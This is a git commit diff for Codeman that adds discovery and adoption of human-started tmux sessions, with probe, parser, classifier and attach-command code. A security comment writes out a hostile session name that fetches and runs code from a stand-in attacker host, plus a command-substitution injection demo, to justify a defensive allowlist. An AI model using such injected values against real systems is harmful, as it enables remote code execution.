feat(adopt): adopt tmux sessions a human started outside Codeman

The home screen now lists tmux sessions Codeman did not start (a claude or
codex running inside `tmux new -s work`, or just a shell); one click turns one
into a tab you can keep working in.

Adoption is a fourth LOCATION OVERLAY, structurally identical to remote/docker,
and NOT a new SessionMode: the outer layer is still an ordinary
codeman-<8hex> wrapper session on this instance's own socket, and only the pane
inside it runs the attach. Session-name allowlisting, capture, input and the
recovery chain are therefore untouched, and "detach, never kill the foreign
session" becomes structural rather than a rule to remember — killSession can
only ever reach our own wrapper.

All three locations share one probe script, one parser and one classifier, and
differ only in the shell around them (direct exec / docker exec / ssh). Pane
mode is decided from the bounded process-tree argv of pane_pid, because claude
and codex both report `node` as pane_current_command; anything unrecognised is
treated as a shell.

Things measured rather than assumed:
- A grouped session buys only `status off` and an independent current window,
  not an independent size. Measured on tmux 3.3a: both a bare attach and a
  grouped one shrink the other client's 200x49 to 80x23. Only
  `window-size largest` preserves it, but that is a shared window option that
  survives our departure, so it is not set.
- View reclamation: local relies on client death, ssh on SIGHUP, but a
  `docker exec` does not die with its client — the container-side view must be
  reclaimed explicitly on kill or every adoption leaks one.
- The session name is chosen by someone else, while the local launch chain ends
  in `bash -c` plus JSON.stringify, which does not escape `$` or backticks, so
  the outer shell performs substitution before the inner single quotes close.
  Session names and socket paths therefore pass a character allowlist and are
  discarded during DISCOVERY, so a non-conforming candidate never gets an id.

Capability degrades by "who started this process": an adopted session has no
hooks, no envOverrides and no effort, and its working directory is merely the
foreign pane's cwd at that moment (possibly not even on this host). Respawn,
Ralph, the orchestrator, hook waits, and every watcher that tails the local
filesystem by workingDir are refused or skipped, and the close dialog no longer
offers a "kill the session" option it cannot honour.
This commit is contained in:
d fei
2026-09-03 02:01:44 -07:00
parent 5f391b493c
commit 93e91690db
25 changed files with 2248 additions and 29 deletions
+38
View File
@@ -0,0 +1,38 @@
/**
* @fileoverview Bounds for FOREIGN tmux discovery (sessions a human started
* outside Codeman).
*
* Two facts drive every number here. First, the number of tmux sockets and panes
* on a machine is NOT under Codeman's control — a discovery walk with no ceiling
* is an unbounded loop over data someone else produces, so sockets and panes are
* both hard-capped. Second, an ssh handshake is an order of magnitude slower than
* a local `exec`; reusing the shared 5s `EXEC_TIMEOUT_MS` would classify every
* remote host as unreachable, so the probe gets its own timeout.
*
* @module config/foreign-tmux
*/
/** How often the browser re-polls `/api/mux/foreign` while the home screen is visible. */
export const FOREIGN_POLL_INTERVAL_MS = 8000;
/**
* Server-side cache TTL for a LOCAL scan. This, not the poll interval, is what
* bounds the real cost: N open tabs polling at 8s still trigger at most one scan
* per TTL.
*/
export const FOREIGN_CACHE_TTL_MS = 5000;
/** Timeout for one probe invocation (local exec, `docker exec`, or one ssh). */
export const FOREIGN_PROBE_TIMEOUT_MS = 12000;
/** Max tmux sockets inspected per location, oldest-first by directory order. */
export const FOREIGN_MAX_SOCKETS = 16;
/** Max pane rows parsed from one probe. Panes past this are dropped, not errors. */
export const FOREIGN_MAX_PANES = 400;
/** Max process rows parsed from one probe's `ps` snapshot. */
export const FOREIGN_MAX_PROCS = 4000;
/** Max bytes of probe stdout kept. A runaway `ps` must not become a heap problem. */
export const FOREIGN_PROBE_MAX_BYTES = 2 * 1024 * 1024;
Binary file not shown.
+597
View File
@@ -0,0 +1,597 @@
/**
* @fileoverview Pure core for FOREIGN tmux sessions — the ones a human started
* by hand, which Codeman neither created nor owns.
*
* Everything here is a string in / structure out, so all three locations (local,
* inside a container, across ssh) go through ONE probe script, ONE parser and ONE
* classifier. Writing a second copy per location is exactly how the two would
* drift into disagreeing about what a session is.
*
* ## Why the probe script is dumb
*
* It runs two commands and prints them: `tmux list-panes` per socket, and one
* `ps` snapshot. No filtering, no logic. All judgement happens in Node, where it
* is pure and unit-testable, instead of in a shell string that is embedded three
* different ways and can only be debugged against a real host.
*
* ⚠️ The script MUST NOT contain a single quote. It is wrapped in single quotes
* to cross `ssh <host> '<script>'` and `docker exec <c> sh -lc '<script>'`. That
* is the single-quote dual of the "no double quotes in the docker launch chain"
* rule in `tmux-manager.ts` — same class of bug, opposite quote.
*
* ## Why the mode comes from the process tree
*
* `#{pane_current_command}` is `node` for BOTH claude and codex, so it cannot
* distinguish them. The classifier walks the pane's descendants over the `ps`
* snapshot with `collectDescendants` (bounded: one snapshot, no per-node spawn —
* see proc-tree.ts for the incident that rule exists for) and matches argv. What
* it cannot identify is `shell`, which is also the honest answer for the case
* this feature was built for: a hand-opened shell.
*
* ## Why attaching means creating a grouped session
*
* A grouped session (`new-session -t <target>`) shares the target's WINDOWS but
* is its own session, so our `status off` and our current-window selection land
* on us alone. A bare `attach` would have to set those on the owner's session,
* i.e. mutate something we do not own. `destroy-unattached on` then makes our
* view evaporate when the wrapper pane dies (measured: it does).
*
* ⚠️ The group session must be created ATTACHED (no `-d`). tmux's
* `server_check_unattached()` runs every server loop, so a detached session with
* `destroy-unattached on` is torn down almost immediately — the option has to
* land on a session that already has our client on it.
*
* ⚠️ **Grouping does NOT give us an independent window SIZE, and believing it did
* was wrong.** Measured on tmux 3.3a against a target held open by a 200x49
* client, with our client at 80x24:
*
* bare attach -> target becomes 80x23
* grouped session -> target becomes 80x23 (same!)
* grouped + `window-size largest` -> target stays 200x49
*
* A window is one object with one size; a group shares the object. So attaching
* from Codeman resizes a session someone else is actively viewing, exactly like
* any second tmux client does — that is tmux's normal behavior, and it reverses
* when we detach.
*
* `window-size largest` is deliberately NOT set here. It is a WINDOW option on a
* SHARED window, so it survives our detach (measured: still `largest` after our
* view is gone) — it would permanently rewrite the owner's configuration to buy
* a cropped view for us. Restoring it would need the previous value captured with
* `$(...)`, and command substitution cannot live in this string: the local branch
* crosses `bash -c "..."`, where the OUTER shell expands it first. That is the
* same rule the docker launch chain states as "no command substitution", and the
* same trap that silently emptied `$TMUX_TMPDIR` while this probe was developed.
* A user who wants the crop instead of the resize can set `window-size largest`
* on their own session, which is theirs to set.
*
* @module foreign-tmux
*/
import { collectDescendants } from './proc-tree.js';
import { FOREIGN_MAX_PANES, FOREIGN_MAX_PROCS, FOREIGN_MAX_SOCKETS } from './config/foreign-tmux.js';
import type { ForeignPaneProbe, ForeignTmuxLocationKind } from './types/foreign-tmux.js';
import type { SessionMode } from './types/session.js';
// ===========================================================================
// Probe script
// ===========================================================================
/**
* Field separator. tmux's `-F` does NOT expand a backslash-t escape: it emits the
* LITERAL two characters (verified on next-3.7 — the same finding that shaped
* `parseRemoteSessionList` in remote-hosts.ts). The parser accepts a real TAB too,
* in case some build does expand it.
*/
const SEP = '\\t';
const SEP_SPLIT = /\\t|\t/;
const REJOIN = '\t';
const PANE_MARKER = 'CMFP';
const PROC_MARKER = 'CMFQ';
const SOCKET_MARKER = 'CMFS';
/**
* The probe, as POSIX sh. NO SINGLE QUOTES (see @fileoverview).
*
* Emits, in order:
* CMFS<sep><socket path> (one per readable socket)
* CMFP<sep><socket><sep>...<sep>name<sep>path (one per pane on that socket)
* CMFQ (marker; ps rows follow)
* <pid> <ppid> <argv...>
*
* The two free-form fields (session name, pane path) are LAST so a separator
* inside one of them can be re-joined by position instead of corrupting the row.
*/
export function buildForeignProbeScript(): string {
const fmt = [
PANE_MARKER,
'#{socket_path}',
'#{pane_pid}',
'#{window_index}',
'#{session_windows}',
'#{session_created}',
'#{session_attached}',
'#{pane_id}',
'#{pane_current_command}',
'#{session_name}',
'#{pane_current_path}',
].join(SEP);
// `ps -eo` covers procps and macOS; `ps ax -o` is the BSD-ish fallback. If both
// fail we still emit the pane rows, and classification degrades to the pane
// command — which still names a plain shell correctly.
// ⚠️ No `set -f` here: the socket sweep IS a glob, and disabling pathname
// expansion turns the loop into a single literal non-match. ⚠️ The marker line
// must NOT try to carry the field separator at all. Measured: `sh`'s builtin
// `echo` EXPANDS a backslash-t to a real TAB, while tmux's own `-F` emits the
// two literal characters — so the same escape means two different things two
// lines apart. The socket line is space-separated instead (marker first, rest
// of line is the path), which no shell rewrites.
//
// Only `$TMUX_TMPDIR/tmux-<uid>/` is swept, which covers every `tmux -L <name>`
// server (that is exactly where tmux puts them). A socket at an arbitrary
// `tmux -S /custom/path` is deliberately out of scope: finding it would mean
// walking the filesystem for sockets.
return [
'TD=${TMUX_TMPDIR:-/tmp}',
'U=$(id -u 2>/dev/null || echo 0)',
`for S in $TD/tmux-$U/*; do [ -S "$S" ] || continue; echo "${SOCKET_MARKER} $S"; ` +
`tmux -S "$S" list-panes -a -F "${fmt}" 2>/dev/null; done`,
`echo ${PROC_MARKER}`,
'ps -eo pid=,ppid=,args= 2>/dev/null || ps ax -o pid=,ppid=,args= 2>/dev/null || true',
].join('; ');
}
// ===========================================================================
// Parsing
// ===========================================================================
export interface ForeignProbeOutput {
panes: ForeignPaneProbe[];
/** parent pid to child pids, from the ONE `ps` snapshot (proc-tree input). */
byParent: Map<number, number[]>;
/** pid to full argv line. */
argvByPid: Map<number, string>;
/** Sockets seen, in scan order (may exceed the pane list when a socket is empty). */
sockets: string[];
}
/** Parse one probe's stdout. Never throws: a malformed row is skipped, not fatal. */
export function parseForeignProbeOutput(stdout: string): ForeignProbeOutput {
const panes: ForeignPaneProbe[] = [];
const sockets: string[] = [];
const byParent = new Map<number, number[]>();
const argvByPid = new Map<number, string>();
if (!stdout) return { panes, byParent, argvByPid, sockets };
let inProcs = false;
let procCount = 0;
for (const raw of stdout.split('\n')) {
const line = raw.replace(/\r$/, '');
if (!line) continue;
if (!inProcs && line === PROC_MARKER) {
inProcs = true;
continue;
}
if (inProcs) {
if (procCount >= FOREIGN_MAX_PROCS) continue;
// `<pid> <ppid> <argv...>` — leading spaces are how `ps -o pid=` pads.
const m = /^\s*(\d+)\s+(\d+)\s+(.*)$/.exec(line);
if (!m) continue;
const pid = Number(m[1]);
const ppid = Number(m[2]);
if (!Number.isSafeInteger(pid) || !Number.isSafeInteger(ppid)) continue;
procCount += 1;
argvByPid.set(pid, m[3] ?? '');
const siblings = byParent.get(ppid);
if (siblings) siblings.push(pid);
else byParent.set(ppid, [pid]);
continue;
}
if (line.startsWith(`${SOCKET_MARKER} `)) {
const sock = line.slice(SOCKET_MARKER.length + 1);
if (sock && sockets.length < FOREIGN_MAX_SOCKETS && !sockets.includes(sock)) sockets.push(sock);
continue;
}
const fields = line.split(SEP_SPLIT);
if (fields[0] !== PANE_MARKER) continue;
if (panes.length >= FOREIGN_MAX_PANES) continue;
// 11 fields: marker + 8 fixed + name + path. A separator inside the NAME
// pushes extras into the middle, so the path is taken from the END and the
// name is whatever sits between the fixed prefix and it.
if (fields.length < 11) continue;
const panePid = Number(fields[2]);
const windowIndex = Number(fields[3]);
const windows = Number(fields[4]);
const created = Number(fields[5]);
if (!Number.isSafeInteger(panePid) || panePid <= 0) continue;
const paneCurrentPath = fields[fields.length - 1] ?? '';
const sessionName = fields.slice(9, fields.length - 1).join(REJOIN);
if (!sessionName) continue;
panes.push({
socketPath: fields[1] ?? '',
sessionName,
windowIndex: Number.isSafeInteger(windowIndex) ? windowIndex : 0,
paneId: fields[7] ?? '',
panePid,
paneCurrentCommand: fields[8] ?? '',
paneCurrentPath,
sessionAttached: fields[6] === '1',
sessionCreated: Number.isSafeInteger(created) && created > 0 ? created : 0,
windows: Number.isSafeInteger(windows) && windows > 0 ? windows : 1,
});
}
return { panes, byParent, argvByPid, sockets };
}
// ===========================================================================
// Classification
// ===========================================================================
/**
* argv signatures for the CLIs Codeman knows, most specific first.
*
* Matched against the WHOLE argv of a pane descendant, so `node .../bin/claude`
* hits the claude rule via the path. `dsh` needs a tighter rule than the rest:
* Debian ships an unrelated `dsh` (distributed shell), which is exactly the trap
* `deepseek-cli-resolver.ts` guards against with an identity probe.
*/
export const FOREIGN_CLI_SIGNATURES: ReadonlyArray<{ mode: SessionMode; test: RegExp }> = [
{ mode: 'claude', test: /(^|\/)claude(\s|$)|[/\\]\.?claude[/\\][^\s]*cli\.js|[/\\]bin[/\\]claude\b/ },
{ mode: 'codex', test: /(^|\/)codex(\s|$)|[/\\]bin[/\\]codex\b|[/\\]@openai[/\\]codex/ },
{ mode: 'opencode', test: /(^|\/)opencode(\s|$)|[/\\]bin[/\\]opencode\b/ },
{ mode: 'antigravity', test: /(^|\/)agy(\s|$)|[/\\]bin[/\\]agy\b|antigravity/ },
{ mode: 'gemini', test: /(^|\/)gemini(\s|$)|[/\\]bin[/\\]gemini\b/ },
{ mode: 'grok', test: /(^|\/)grok(\s|$)|[/\\]bin[/\\]grok\b/ },
{ mode: 'deepseek', test: /(^|\/)dsh(\s|$)|[/\\]bin[/\\]dsh\b|deepseek[-_]?harness/i },
{ mode: 'pi', test: /(^|\/)pi(\s|$)|[/\\]bin[/\\]pi\b/ },
];
/** Commands that mean "this is a plain shell", not an unidentified agent. */
const SHELL_COMMANDS = new Set([
'bash',
'sh',
'zsh',
'fish',
'dash',
'ksh',
'tcsh',
'csh',
'ash',
'busybox',
'login',
'-bash',
'-zsh',
'-sh',
]);
export interface ClassifiedPane {
mode: SessionMode;
/** The argv line the decision came from, truncated for display. */
command: string;
}
const COMMAND_DISPLAY_MAX = 160;
/**
* Decide what a pane is running.
*
* Order matters: the pane's own command is checked against the CLI signatures
* first (a pane running `claude` directly is unambiguous and needs no walk), then
* the bounded descendant walk, and only then the shell fallback. The walk is what
* separates claude from codex, since tmux reports `node` for both.
*/
export function classifyForeignPaneMode(
pane: Pick<ForeignPaneProbe, 'panePid' | 'paneCurrentCommand'>,
probe: Pick<ForeignProbeOutput, 'byParent' | 'argvByPid'>
): ClassifiedPane {
const own = probe.argvByPid.get(pane.panePid) ?? pane.paneCurrentCommand;
const direct = matchSignature(own);
if (direct) return { mode: direct, command: truncate(own) };
const descendants = collectDescendants(pane.panePid, probe.byParent);
for (const pid of descendants) {
const argv = probe.argvByPid.get(pid);
if (!argv) continue;
const hit = matchSignature(argv);
if (hit) return { mode: hit, command: truncate(argv) };
}
// tmux's own answer is the last signal worth trying: `#{pane_current_command}`
// is the pane's FOREGROUND process, whereas `pane_pid` is the shell hosting it,
// so this catches an agent whose process tree was unreadable (no `ps` on the
// host) or deeper than the walk's cap.
const fromTmux = matchSignature(pane.paneCurrentCommand);
if (fromTmux) return { mode: fromTmux, command: truncate(pane.paneCurrentCommand) };
// Nothing recognised. `shell` is the honest answer AND the primary case this
// feature exists for; the raw command travels alongside so the UI can show what
// is actually running rather than asserting a mode it did not verify.
return { mode: 'shell', command: truncate(own || pane.paneCurrentCommand) };
}
function matchSignature(argv: string): SessionMode | null {
if (!argv) return null;
const base = basenameOf(argv);
if (SHELL_COMMANDS.has(base)) return null;
for (const sig of FOREIGN_CLI_SIGNATURES) {
if (sig.test.test(argv)) return sig.mode;
}
return null;
}
function basenameOf(argv: string): string {
const first = argv.trim().split(/\s+/)[0] ?? '';
const slash = first.lastIndexOf('/');
return slash >= 0 ? first.slice(slash + 1) : first;
}
function truncate(s: string): string {
const flat = s.replace(/\s+/g, ' ').trim();
return flat.length > COMMAND_DISPLAY_MAX ? `${flat.slice(0, COMMAND_DISPLAY_MAX - 1)}...` : flat;
}
// ===========================================================================
// Exclusion — never adopt what Codeman already owns
// ===========================================================================
/** tmux servers Codeman runs itself. Sessions on these are never "foreign". */
const CODEMAN_SOCKET_BASENAMES = new Set(['codeman', 'codeman-remote', 'codeman-docker']);
/** Session names Codeman mints. */
const CODEMAN_SESSION_PREFIXES = ['codeman-', 'claudeman-'];
/**
* Is this pane one of Codeman's own, at any location?
*
* Excluding them is not cosmetic. Locally it stops Codeman from adopting its own
* sessions (which would attach a second PTY to a live pane). On a remote host or
* inside a container it stops the SAME session from being reachable through two
* different code paths — `remote-hosts.listRemoteCodemanSessions` already owns
* the `tmux -L codeman` case there, and two paths to one session is how the two
* end up disagreeing about ownership.
*
* @param ownSocket this instance's own socket name (`resolveTmuxSocketName()`),
* which is instance-scoped and therefore not a constant.
*/
export function isCodemanOwnedPane(
pane: Pick<ForeignPaneProbe, 'socketPath' | 'sessionName'>,
ownSocket: string
): boolean {
const socketName = basenameOf(pane.socketPath);
if (socketName === ownSocket) return true;
if (CODEMAN_SOCKET_BASENAMES.has(socketName)) return true;
// A `codeman-<instance>` socket belongs to another Codeman instance even when
// THIS instance runs on a different one.
if (socketName.startsWith('codeman-')) return true;
return CODEMAN_SESSION_PREFIXES.some((p) => pane.sessionName.startsWith(p));
}
// ===========================================================================
// Adoptability — what may cross the launch chain at all
// ===========================================================================
/**
* Characters a foreign session name or socket path may contain to be adoptable.
*
* ⚠️ This is a SECURITY GATE, not tidiness, and it is an ALLOWLIST because the
* blocklist version of it is one forgotten character away from a shell.
*
* A foreign session name is chosen by SOMEONE ELSE, and the local launch chain
* ends at `execSync(`… bash -c ${JSON.stringify(launchCmd)}`)`. `JSON.stringify`
* escapes `"` and `\` — it does NOT escape `$` or a backtick — and the outer
* shell parses that string with those still live inside its double quotes. The
* inner single quotes this module adds do not help: the outer shell substitutes
* first. Measured directly:
*
* launchCmd = `: 'x$(touch /tmp/PWNED2)`touch /tmp/PWNED3`'`
* execSync(`bash -c ${JSON.stringify(launchCmd)}`) -> BOTH files created
*
* So a session called `work;$(curl attacker|sh)` sitting on the default socket
* would run as the Codeman server account the moment someone clicked Open. The
* name never reaches a command at all now: a candidate that fails this test is
* dropped during discovery, so it has no id, and the adopt endpoint re-resolves
* through that same discovery and can only 404.
*
* Generous on purpose about what real names contain — Unicode letters, digits,
* marks, spaces, and the punctuation people actually use — because a refusal
* here is a session the user cannot open at all.
*/
const ADOPTABLE_TEXT = /^[\p{L}\p{N}\p{M} _.+=@#%,~^!/-]+$/u;
/** Same rule, plus the path separator and no `..` climbing. */
export function isAdoptableSocketPath(socketPath: string): boolean {
if (!socketPath || socketPath.length > 4096) return false;
if (!socketPath.startsWith('/')) return false;
if (socketPath.includes('..')) return false;
return ADOPTABLE_TEXT.test(socketPath);
}
/** True when this session name can cross the launch chain safely. */
export function isAdoptableSessionName(sessionName: string): boolean {
if (!sessionName || sessionName.length > 256) return false;
return ADOPTABLE_TEXT.test(sessionName);
}
// ===========================================================================
// Identity
// ===========================================================================
/**
* Stable, opaque id for a candidate. The browser sends this back to adopt, so it
* must survive a re-scan (same session gets the same id) without the browser ever
* handing us a socket path or session name to interpolate into a command.
*/
export function foreignSessionId(
location: ForeignTmuxLocationKind,
hostKey: string,
socketPath: string,
sessionName: string
): string {
return `f${fnv1a(`${location} ${hostKey} ${socketPath} ${sessionName}`)}`;
}
function fnv1a(input: string): string {
let h = 0x811c9dc5;
for (let i = 0; i < input.length; i += 1) {
h ^= input.charCodeAt(i);
h = Math.imul(h, 0x01000193) >>> 0;
}
return h.toString(16).padStart(8, '0');
}
/**
* Our grouped view session's name on the FOREIGN server. Deliberately prefixed
* `codeman-view-` so a human looking at their own `tmux ls` can see what joined
* them, and so a second Codeman's discovery excludes it (the `codeman-` prefix
* rule above).
*/
export function foreignViewSessionName(sessionId: string): string {
return `codeman-view-${sessionId.slice(0, 8)}`;
}
// ===========================================================================
// Attach command builders
// ===========================================================================
/** Single-quote for POSIX sh. Local copy so this module stays dependency-free. */
export function fshq(str: string): string {
return `'${String(str).replace(/'/g, `'\\''`)}'`;
}
export interface ForeignAttachTarget {
socketPath: string;
targetSession: string;
viewSession: string;
}
/**
* The tmux invocation that joins a foreign session, as ONE line of POSIX sh.
*
* Shape and why:
* tmux -S <sock> new-session -t <target> -s <view> ; set destroy-unattached on ; set status off
* || exec tmux -S <sock> attach-session -r -t <target>
*
* - `new-session -t` creates a session in the target's GROUP: same windows, our
* own session options and current window (NOT our own size — see @fileoverview
* for the measurement that disproved that).
* - `status off` is why grouping earns its keep: it lands on OUR session, so the
* owner's status bar is untouched.
* - No `-d`: the session must be attached before `destroy-unattached` lands on it.
* - The escaped semicolons reach tmux as plain command separators after one shell
* parse — the same convention the docker launch chain uses.
* - The `||` fallback is a READ-ONLY attach, for a tmux too old to group. It is
* read-only on purpose: a writable bare attach would resize the owner's
* terminal, which is the one outcome this design exists to prevent. The caller
* records it as `SessionAdopt.readOnly` so the UI can say so.
* - Single line: the string crosses `bash -c "..."`, where a real newline would
* not survive JSON escaping.
*/
export function buildForeignTmuxInvocation(target: ForeignAttachTarget): string {
const sock = fshq(target.socketPath);
const t = fshq(target.targetSession);
const v = fshq(target.viewSession);
const group =
`tmux -S ${sock} new-session -t ${t} -s ${v} \\; ` +
`set-option -t ${v} destroy-unattached on \\; ` +
`set-option -t ${v} status off`;
const readOnly = `exec tmux -S ${sock} attach-session -r -t ${t}`;
return `${group} || ${readOnly}`;
}
/** Local adoption: run the invocation directly in the wrapper pane. */
export function buildForeignAttachCommand(target: ForeignAttachTarget): string {
return buildForeignTmuxInvocation(target);
}
export interface ForeignDockerAttachOptions extends ForeignAttachTarget {
/** `buildDockerBaseArgs(...)` joined — e.g. `docker` or `docker --context foo`. */
dockerBase: string;
containerName: string;
}
/**
* Docker adoption: `docker exec -it` into the container and attach there.
*
* Mirrors the ADOPTED-container branch of `buildDockerLaunchCommand`: look, then
* exec. Never `create`, never `start` — the container belongs to the user, and a
* missing or stopped one fails closed with a message instead of being mutated.
*/
export function buildForeignDockerAttachCommand(opts: ForeignDockerAttachOptions): string {
const name = fshq(opts.containerName);
const notFound = fshq(
`Codeman: container ${opts.containerName} not found. Codeman never creates a container it does not own.`
);
const notRunning = fshq(
`Codeman: container ${opts.containerName} is not running. Codeman never starts a container it does not own.`
);
const inspect = `${opts.dockerBase} inspect ${name} >/dev/null 2>&1 || { echo ${notFound}; exit 1; }`;
const running =
`${opts.dockerBase} inspect -f ${fshq('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true ` +
`|| { echo ${notRunning}; exit 1; }`;
const exec = `exec ${opts.dockerBase} exec -it ${name} sh -lc ${fshq(buildForeignTmuxInvocation(opts))}`;
return [inspect, running, exec].join(' ; ');
}
/**
* Tear down OUR grouped view session inside a container.
*
* ⚠️ Needed for docker and NOT for the other two, which is a docker fact rather
* than a design choice. Killing the wrapper pane kills a LOCAL tmux client
* directly, and over ssh it sends SIGHUP to the remote client (the same
* propagation the non-owned remote attach has relied on since COD-105) — either
* way the client detaches and `destroy-unattached on` collects the view.
* A `docker exec` process does NOT die when its client goes away: measured, the
* in-container tmux client stayed attached after the wrapper was killed, so the
* view session survived forever and every adoption leaked one of them plus its
* exec process.
*
* Killing a session by name affects ONLY that session, never the group's other
* members — so this can only ever remove the view Codeman created, never the
* human's session it is grouped with. Sibling of `buildDockerKillCommand`, and
* fired best-effort on the same path.
*/
export function buildForeignDockerViewKillCommand(opts: {
dockerBase: string;
containerName: string;
socketPath: string;
viewSession: string;
}): string {
return (
`${opts.dockerBase} exec ${fshq(opts.containerName)} ` +
`tmux -S ${fshq(opts.socketPath)} kill-session -t ${fshq(opts.viewSession)}`
);
}
export interface ForeignRemoteAttachOptions extends ForeignAttachTarget {
/** `buildSshConnectionArgs(host)` — `['ssh', '-o BatchMode=yes', ...]`. */
sshArgs: string[];
/** `remoteSshTarget(host)` — `user@host`. */
sshTarget: string;
}
/**
* Remote adoption: ssh in and attach there.
*
* `-t` goes right after `ssh -o BatchMode=yes`, exactly where
* `buildRemoteAttachCommand` puts it — interactive tmux needs a PTY. Connection
* options come from the shared `buildSshConnectionArgs`, never hand-built here,
* so adoption reaches a proxied/custom-port host on the same terms discovery did.
*/
export function buildForeignRemoteAttachCommand(opts: ForeignRemoteAttachOptions): string {
const [ssh, batchMode, ...rest] = opts.sshArgs;
return [ssh, batchMode, '-t', ...rest, opts.sshTarget, fshq(buildForeignTmuxInvocation(opts))]
.filter(Boolean)
.join(' ');
}
+12
View File
@@ -24,6 +24,7 @@ import type {
OmpConfig,
SessionRemote,
SessionDocker,
SessionAdopt,
} from './types.js';
/**
@@ -44,6 +45,13 @@ export interface MuxSession {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/**
* Adoption metadata for a wrapper session around a human-started tmux session.
* Round-trips through `mux-sessions.json` like remote/docker: without it a
* restored wrapper would not know what to re-attach to, and `killSession`
* would lose the detach-not-kill guard.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode (round-tripped through recovery like remote/docker) */
owner?: string;
/** Session mode */
@@ -96,6 +104,8 @@ export interface CreateSessionOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; its presence selects the foreign-attach launch command. */
adopt?: SessionAdopt;
/** Owning username in multi-user mode; persisted for recovery. */
owner?: string;
}
@@ -131,6 +141,8 @@ export interface RespawnPaneOptions {
remote?: SessionRemote;
/** Docker execution metadata for local tmux sessions wrapping `docker exec` */
docker?: SessionDocker;
/** Adoption metadata; a respawn of an adopted wrapper RE-ATTACHES, it never relaunches an agent. */
adopt?: SessionAdopt;
/** Owning username (multi-user); redundant on respawn since the Session object survives, kept for shape parity. */
owner?: string;
}
+51 -3
View File
@@ -56,6 +56,7 @@ import {
type OmpConfig,
type SessionRemote,
type SessionDocker,
type SessionAdopt,
} from './types.js';
import { resolveAndClaimOmpSessionId } from './utils/omp-session-resolver.js';
import { probeDockerCliVersion } from './docker-hosts.js';
@@ -325,10 +326,25 @@ export function queryTmuxWindowSize(muxName: string, socket: string): { cols: nu
return { cols: DEFAULT_PTY_COLS, rows: DEFAULT_PTY_ROWS };
}
export function resolveMuxAttachCwd(workingDir: string, remote?: SessionRemote, docker?: SessionDocker): string {
export function resolveMuxAttachCwd(
workingDir: string,
remote?: SessionRemote,
docker?: SessionDocker,
adopt?: SessionAdopt
): string {
// Remote and docker sessions run the CLI elsewhere (ssh / docker exec); the LOCAL
// wrapper pane never needs the workspace as its cwd, so launch it in /tmp.
return remote || docker ? '/tmp' : workingDir;
//
// ⚠️ An ADOPTED session needs the same treatment and does NOT get it from the
// two checks above: its connection facts live on `adopt.docker`/`adopt.remote`,
// so `session.docker` is undefined even for an in-container adoption. Its
// `workingDir` is the FOREIGN pane's cwd — a path that routinely does not exist
// on this host. Measured against a real container: adopting an in-container
// session produced `workingDir: /workspace/pythonserver`, the local PTY spawn
// inherited it as its cwd, and the session came up with `pid: null` and a blank
// terminal while the wrapper tmux session and the in-container grouped view had
// both been created successfully — i.e. it looked half-alive rather than failed.
return remote || docker || adopt ? '/tmp' : workingDir;
}
/**
@@ -559,6 +575,11 @@ export class Session extends EventEmitter {
// local tmux + `docker exec`. The container is per-CASE (shared by sibling sessions).
private readonly _docker?: SessionDocker;
// Adoption metadata, present when this session is a WRAPPER around a tmux
// session a human started outside Codeman. Its presence is the single switch
// that disables everything Codeman can only do to a process it launched.
private readonly _adopt?: SessionAdopt;
// Owning username in multi-user mode (undefined in single-user). Stamped at create
// from req.authUser and round-tripped through recovery like _remote/_docker.
private _owner?: string;
@@ -657,6 +678,8 @@ export class Session extends EventEmitter {
remote?: SessionRemote;
/** Docker execution metadata for sessions launched inside a container via local tmux. */
docker?: SessionDocker;
/** Adoption metadata for a wrapper around a human-started tmux session. */
adopt?: SessionAdopt;
/** Owning username (multi-user mode); undefined in single-user. */
owner?: string;
/** Session that spawned this one — tab lineage decoration, resolved by the caller. */
@@ -785,6 +808,7 @@ export class Session extends EventEmitter {
this._tmuxHistoryLimit = config.tmuxHistoryLimit ?? DEFAULT_TMUX_HISTORY_LIMIT;
this._remote = config.remote;
this._docker = config.docker;
this._adopt = config.adopt;
this._owner = config.owner;
// Never self-parent: a session pointing at itself would draw a zero-length
// lineage arc under its own tab. Only reachable via the recovery path, where
@@ -915,6 +939,25 @@ export class Session extends EventEmitter {
return this._remote;
}
/** Adoption metadata when this session wraps a human-started tmux session. */
get adopt(): SessionAdopt | undefined {
return this._adopt;
}
/**
* Is this a wrapper around a tmux session Codeman did not start?
*
* ⚠️ Deliberately NOT folded into `isExternalCliMode()`. That predicate answers
* "does this CLI render its own TUI", which is about the PROTOCOL. This one
* answers "did we launch the process", which is about AUTHORITY — an adopted
* session can be `mode: 'claude'` and still have no hooks installed, no
* `envOverrides`, no effort and no `--session-id` we chose. Conflating the two
* would silently grant claude-shaped automation over a process we do not own.
*/
get isAdopted(): boolean {
return this._adopt !== undefined;
}
/**
* `deepSeekConfig.statusReporting` verbatim: `undefined` when the caller sent
* none (i.e. ON), `false` when the user disarmed the status bridge for this
@@ -1347,6 +1390,7 @@ export class Session extends EventEmitter {
workingDir: this.workingDir,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
parentSessionId: this._parentSessionId,
currentTaskId: this._currentTaskId,
@@ -1563,7 +1607,7 @@ export class Session extends EventEmitter {
name: 'xterm-256color',
cols: ptyCols,
rows: ptyRows,
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker),
cwd: resolveMuxAttachCwd(this.workingDir, this._remote, this._docker, this._adopt),
// COD-75: codex/gemini/antigravity/pi get COLORTERM=truecolor — mirrors buildEnvExports()
// in tmux-manager.ts so the attach client and the tmux session agree.
env: buildMuxAttachEnv(
@@ -1663,6 +1707,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
};
}
@@ -1967,6 +2012,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
spawnErrLabel: 'mux attachment',
@@ -2567,6 +2613,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
createSessionOptions: {
@@ -2579,6 +2626,7 @@ export class Session extends EventEmitter {
historyLimit: this._tmuxHistoryLimit,
remote: this._remote,
docker: this._docker,
adopt: this._adopt,
owner: this._owner,
},
